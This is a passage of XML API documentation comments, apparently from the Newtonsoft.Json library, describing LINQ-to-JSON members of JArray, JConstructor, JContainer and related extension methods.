cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the converted values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Value``1(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Converts the value.\n            </summary>\n            <typeparam name=\"U\">The type to convert the value to.</typeparam>\n            <param name=\"value\">A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> cast as a <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>A converted value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Value``2(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Converts the value.\n            </summary>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <typeparam name=\"U\">The type to convert the value to.</typeparam>\n            <param name=\"value\">A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> cast as a <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>A converted value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Children``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of child tokens of every array in the source collection.\n            </summary>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Children``2(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of converted child tokens of every array in the source collection.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <typeparam name=\"U\">The type to convert the values to.</typeparam>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the converted values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.AsJEnumerable(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Returns the input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>The input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.AsJEnumerable``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns the input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.\n            </summary>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>The input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\">\n            <summary>\n            Represents a collection of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> objects.\n            </summary>\n            <typeparam name=\"T\">The type of token.</typeparam>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.IJEnumerable`1.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JArray\">\n            <summary>\n            Represents a JSON array.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParseArray\" title=\"Parsing a JSON Array from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.WriteToAsync(Newtonsoft.Json.JsonWriter,System.Threading.CancellationToken,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.LoadAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>. \n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> representing the asynchronous load. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/> property contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.LoadAsync(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>. \n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> representing the asynchronous load. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/> property contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor(Newtonsoft.Json.Linq.JArray)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor(System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the array.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the array.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads an <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>. \n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads an <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>. \n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> populated from the string that contains JSON.</returns>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParseArray\" title=\"Parsing a JSON Array from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Parse(System.String,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> populated from the string that contains JSON.</returns>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParseArray\" title=\"Parsing a JSON Array from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.FromObject(System.Object)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.FromObject(System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used to read the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.Item(System.Int32)\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> at the specified index.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.IndexOf(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Determines the index of a specific item in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n            <param name=\"item\">The object to locate in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>\n            The index of <paramref name=\"item\"/> if found in the list; otherwise, -1.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Insert(System.Int32,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Inserts an item to the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> at the specified index.\n            </summary>\n            <param name=\"index\">The zero-based index at which <paramref name=\"item\"/> should be inserted.</param>\n            <param name=\"item\">The object to insert into the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <exception cref=\"T:System.ArgumentOutOfRangeException\">\n            <paramref name=\"index\"/> is not a valid index in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.RemoveAt(System.Int32)\">\n            <summary>\n            Removes the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> item at the specified index.\n            </summary>\n            <param name=\"index\">The zero-based index of the item to remove.</param>\n            <exception cref=\"T:System.ArgumentOutOfRangeException\">\n            <paramref name=\"index\"/> is not a valid index in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.GetEnumerator\">\n            <summary>\n            Returns an enumerator that iterates through the collection.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerator`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that can be used to iterate through the collection.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Add(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Adds an item to the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n            <param name=\"item\">The object to add to the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Clear\">\n            <summary>\n            Removes all items from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Contains(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Determines whether the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> contains a specific value.\n            </summary>\n            <param name=\"item\">The object to locate in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>\n            <c>true</c> if <paramref name=\"item\"/> is found in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.CopyTo(Newtonsoft.Json.Linq.JToken[],System.Int32)\">\n            <summary>\n            Copies the elements of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> to an array, starting at a particular array index.\n            </summary>\n            <param name=\"array\">The array.</param>\n            <param name=\"arrayIndex\">Index of the array.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.IsReadOnly\">\n            <summary>\n            Gets a value indicating whether the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> is read-only.\n            </summary>\n            <returns><c>true</c> if the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> is read-only; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Remove(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Removes the first occurrence of a specific object from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n            <param name=\"item\">The object to remove from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>\n            <c>true</c> if <paramref name=\"item\"/> was successfully removed from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>; otherwise, <c>false</c>. This method also returns <c>false</c> if <paramref name=\"item\"/> is not found in the original <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JConstructor\">\n            <summary>\n            Represents a JSON constructor.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.WriteToAsync(Newtonsoft.Json.JsonWriter,System.Threading.CancellationToken,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.LoadAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/>.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous load. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.LoadAsync(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous load. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.Name\">\n            <summary>\n            Gets or sets the name of this constructor.\n            </summary>\n            <value>The constructor name.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(Newtonsoft.Json.Linq.JConstructor)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(System.String,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class with the specified name and content.\n            </summary>\n            <param name=\"name\">The constructor name.</param>\n            <param name=\"content\">The contents of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(System.String,System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class with the specified name and content.\n            </summary>\n            <param name=\"name\">The constructor name.</param>\n            <param name=\"content\">The contents of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class with the specified name.\n            </summary>\n            <param name=\"name\">The constructor name.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JContainer\">\n            <summary>\n            Represents a token that can contain other tokens.\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.Linq.JContainer.ListChanged\">\n            <summary>\n            Occurs when the list changes or an item in the list changes.\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.Linq.JContainer.AddingNew\">\n            <summary>\n            Occurs before an item is added to the collection.\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.Linq.JContainer.CollectionChanged\">\n            <summary>\n            Occurs when the items list of the collection has changed, or the collection is reset.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.OnAddingNew(System.ComponentModel.AddingNewEventArgs)\">\n            <summary>\n            Raises the <see cref=\"E:Newtonsoft.Json.Linq.JContainer.AddingNew\"/> event.\n            </summary>\n            <param name=\"e\">The <see cref=\"T:System.ComponentModel.AddingNewEventArgs\"/> instance containing the event data.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.OnListChanged(System.ComponentModel.ListChangedEventArgs)\">\n            <summary>\n            Raises the <see cref=\"E:Newtonsoft.Json.Linq.JContainer.ListChanged\"/> event.\n            </summary>\n            <param name=\"e\">The <see cref=\"T:System.ComponentModel.ListChangedEventArgs\"/> instance containing the event data.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.OnCollectionChanged(System.Collections.Specialized.NotifyCollectionChangedEventArgs)\">\n            <summary>\n            Raises the <see cref=\"E:Newtonsoft.Json.Linq.JContainer.CollectionChanged\"/> event.\n            </summary>\n            <param name=\"e\">The <see cref=\"T:System.Collections.Specialized.NotifyCollectionChangedEventArgs\"/> instance containing the event data.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.HasValues\">\n            <summary>\n            Gets a value indicating whether this token has child tokens.\n            </summary>\n            <value>\n            \t<c>true</c> if this token has child values; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.First\">\n            <summary>\n            Get the first child token of this token.\n            </summary>\n            <value>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the first child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.Last\">\n            <summary>\n            Get the last child token of this token.\n            </summary>\n            <value>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the last child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Children\">\n            <summary>\n            Returns a collection of the child tokens of this token, in document order.\n            </summary>\n            <returns>\n            An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the child tokens of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Values``1\">\n            <summary>\n            Returns a collection of the child values of this token, in document order.\n            </summary>\n            <typeparam name=\"T\">The type to convert the values to.</typeparam>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> containing the child values of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Descendants\">\n            <summary>\n            Returns a collection of the descendant tokens for this token in document order.\n            </summary>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the descendant tokens of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.DescendantsAndSelf\">\n            <summary>\n            Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order.\n            </summary>\n       